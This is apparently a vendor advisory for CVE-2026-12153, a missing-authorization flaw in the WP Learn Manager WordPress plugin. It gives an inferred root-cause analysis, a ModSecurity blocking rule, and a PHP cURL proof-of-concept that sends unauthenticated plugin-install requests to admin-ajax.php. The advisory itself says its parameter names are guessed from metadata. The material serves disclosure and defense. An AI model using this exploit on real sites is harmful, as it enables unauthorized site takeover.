Atomic Edge analysis of CVE-2026-12153 (metadata-based):
This vulnerability affects the WP Learn Manager plugin for WordPress, version 1.1.8 and earlier. It allows unauthenticated attackers to install and activate arbitrary plugins from the WordPress.org repository. The CVSS score of 9.8 indicates critical severity.
The root cause is a missing authorization check in the jslearnmanager_ajax AJAX action handler. The plugin fails to verify the user’s capabilities before processing the AJAX request. This is a classic CWE-862 (Missing Authorization) vulnerability. Atomic Edge analysis infers that the vulnerable code likely resides in the plugin’s main AJAX handler function, which hooks into WordPress’s wp_ajax_ and wp_ajax_nopriv_ actions. The plugin probably exposes an action like ‘jslearnmanager_ajax’ without checking current_user_can() or a similar capability function. This inference is based on the CWE classification and the vulnerability description, as no source code is available for confirmation.
An attacker can exploit this by sending a POST request to /wp-admin/admin-ajax.php with the ‘action’ parameter set to ‘jslearnmanager_ajax’ and additional parameters specifying the plugin slug to install and activate. The exact parameters are inferred from typical WordPress plugin installation flows. The attacker does not need authentication. The request can be crafted with simple HTTP tools like cURL.
The fix requires adding proper authorization checks to the AJAX handler. The plugin should verify that the user has the ‘install_plugins’ and ‘activate_plugins’ capabilities before processing installation and activation requests. This can be done by calling current_user_can(‘install_plugins’) and current_user_can(‘activate_plugins’) at the start of the handler function. Additionally, nonce verification should be implemented to prevent CSRF attacks.
Successful exploitation gives an attacker complete control over the WordPress site. They can install and activate any plugin from the WordPress.org repository, including plugins that introduce backdoors, steal data, or escalate privileges further. This can lead to full site compromise, data theft, and use of the site for malicious purposes. The CVSS impact ratings of HIGH for Confidentiality, Integrity, and Availability confirm this severe impact.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-12153 (metadata-based)
# Block unauthenticated plugin installation via WP Learn Manager AJAX handler
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202612153,phase:2,deny,status:403,chain,msg:'CVE-2026-12153 - WP Learn Manager Missing Authorization',severity:'CRITICAL',tag:'CVE-2026-12153'"
SecRule ARGS_POST:action "@streq jslearnmanager_ajax"
"chain,t:none"
SecRule ARGS_POST:install_plugin "@rx ^[a-z0-9-]+$"
"t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-12153 - WP Learn Manager <= 1.1.8 - Missing Authorization to Unauthenticated Arbitrary Plugin Installation and Activation via jslearnmanager_ajax AJAX Action
// Configuration
$target_url = 'http://example.com/wordpress'; // Change this to the target WordPress URL
$plugin_slug = 'hello-dolly'; // Slug of a plugin from WordPress.org to install (e.g., 'hello-dolly')
// Endpoint for WordPress AJAX actions
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
// Prepare POST data
// The plugin likely uses parameters like 'slug' for the plugin to install and 'action' for the AJAX action
$post_data = array(
'action' => 'jslearnmanager_ajax',
'install_plugin' => $plugin_slug, // Inferred parameter name
'activate' => '1' // Request to activate after install
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing; remove in production
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check result
if ($http_code == 200) {
echo "[+] Exploit sent successfully. HTTP Code: $http_coden";
echo "[+] Response: $responsen";
} else {
echo "[-] Exploit failed. HTTP Code: $http_coden";
}
?>
